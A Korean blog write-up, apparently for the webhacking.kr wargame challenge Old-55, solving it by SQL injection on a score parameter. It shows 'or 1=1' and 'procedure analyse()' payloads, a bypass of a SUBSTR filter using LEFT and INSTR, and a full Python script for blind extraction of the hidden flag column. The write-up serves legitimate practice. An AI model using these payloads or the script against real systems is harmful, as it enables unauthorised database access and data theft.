마우스를 따라오는 슬라임이 있는 페이지가 나왔다. 슬라임이 움직이면 Score도 증가가 되었다.

 

랭크 페이지가 있길래 들어가보니, Insert문이 밑에 나와있었다.

게임이 종료가 된 후 DB에 저장이 될 때, 저 Insert문이 작동되는 것으로 추측이 된다.

 

Score 부분에도 a태그로 되어 있어서 클릭해보니, 서버에 score 파라미터를 보내고 있었다.

 

그래서 혹시나 해서 점수 뒤에 작은 따음표를 넣어서 서버로 보내니, 'no hack'이 출력이 되었다.

입력값에 대한 검증을 한다는 것을 확인을 하고, 나는 어떤 문자를 검증하는지 확인하였다.

 

몇가지 테스트를 해보니, 작음 따음표와 큰 따음표에 'no hack'를 출력하였다.

생각을 해보니, 점수는 INT 타입으로 들어가니 작음 따음표와 큰 따음표가 들어가면 Query Error가 일어났고 'no hack'은 Error 대신에 출력되는 것으로 판단이 되었다.

 

그래서 or 1=1를 넣어서 SQLi가 되는지 확인을 하였다.

 

그 결과 출력이 잘 된 것을 볼 수 있었다.

 

나는 어떤 SQLi를 써야 먹힐지 고민하는 중에 페이지의 id를 보니, 이상한 점을 볼 수 있었다.

보통 여러 정보들을 한줄로 나누어 보여줄때, 1, 2, 3, 1 / 2 / 3 등으로 표시는 해주는데 여기선 //으로 나누고 있다.

나는 "flag의 자리를 암시하는 것이 아닐까?"라는 생각을 할 수 있었고, 만약 페이지에 표시해주기 위해서는 "SELECT id, flag, score FROM chall55 WHERE score=score파라미터으로 이루어지지 않았을까?"라는 생각으로 이어졌다.

 

53번 문제에서 배웠던 procedure analyse 함수를 이용하여 해당 추측이 맞는지 확인을 하였다.

만약 id, score만 갖고오면 2개의 컬럼만 출력되어야한다.

 

1 limit 0, 1 procedure analyse()
1 limit 1, 2 procedure analyse()

SELECT의 첫번째와 두번째는 id, score로 나왔다. 이제 세번째 컬럼을 요청하여 결과가 나오면 내가 생각한 것이 맞았다는 것이다.

 

1 limit 2, 3 procedure analyse()

세번째 컬럼도 출력이 되었다. 예상과 다르게 컬럼명이 flag가 아닌 이상한 이름이였다.

 

위 정보들을 이용하여 나는 Blind SQLi를 시도할 것이다.

Length 함수와 Substr 함수를 이용하여 Flag의 길이와 알파벳을 구할 코드를 작성하도록 하겠다.

 

쿼리문 False: 1 or length(chall55.p4ssw0rd_1123581321)=0
쿼리문 True: 1 or 1=1

Flag의 길이가 True가 될 경우, 'jisu8110 // 895'가 출력될 것이다.

 

1 or SUBSTR(chall55.p4ssw0rd_1123581321, 0, 1)=0x66

코드를 작성하는 도중 발견할 수 있었다. 서버에선 Substr 함수도 검증을 하고 있어서 사용이 불가능하였다.

하지만 다양한 방법으로 문자열에 검증을 할 수 있다.

 

쿼리문 False: 1 or left(p4ssw0rd_1123581321, 1)=0x60
쿼리문 True: 1 or left(p4ssw0rd_1123581321, 1)=0x66

Left 함수를 이용한 문자 검증

 

1 or INSTR(p4ssw0rd_1123581321, 0x60)=1

 

1 or INSTR(p4ssw0rd_1123581321, 0x66)=1

INSTR 함수를 이용한 문자 검증

 

둘 다 비슷하게 서버에 아스키코드를 보내줘야하니, 고민 없이 아무거나 골라쓰면 된다.

import requests, string
from bs4 import BeautifulSoup as bs

def flagLength(url:str):
    for i in range(5, 100):
        res = requests.get(url + f"1 or length(chall55.p4ssw0rd_1123581321)={i}")
        soup = bs(res.text, 'html.parser')
        result = soup.select('center')

        if result[0].text[-1] != '1':
            print('Flag Length >>>', i)
            return i

def flagText(url:str, length:int):
    flag = 'flag{'
    flagHex = [str(hex(ord(i))[2:]) for i in flag]

    while True:
        for i in string.ascii_lowercase + string.punctuation:
            res = requests.get(url + f"1 or INSTR(chall55.p4ssw0rd_1123581321, 0x{''.join(flagHex) + str(hex(ord(i))[2:])})=True")
            soup = bs(res.text, 'html.parser')
            result = soup.select('center')

            if result[0].text[-1] != '1':
                flag += chr(ord(i))
                print('Flag >>>', flag)
                flagHex.append(str(hex(ord(i))[2:]))

        if len(flag) == length:
            return flag

if __name__ == '__main__':
    url = 'https://webhacking.kr/challenge/web-31/rank.php?score='

    length = flagLength(url)
    flagText(url, length)

이와 같이 Flag를 획득할 수 있다.

'워게임 > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] Old - 2 Write Up  (0) 2021.06.04
[Webhacking.kr] Old - 50 Write Up  (0) 2021.06.03
[Webhacking.kr] Old - 52 Write Up  (0) 2021.06.01
[Webhacking.kr] Old - 34 Write Up  (0) 2021.05.31
[Webhacking.kr] Old - 29 Write Up  (0) 2021.05.31
복사했습니다!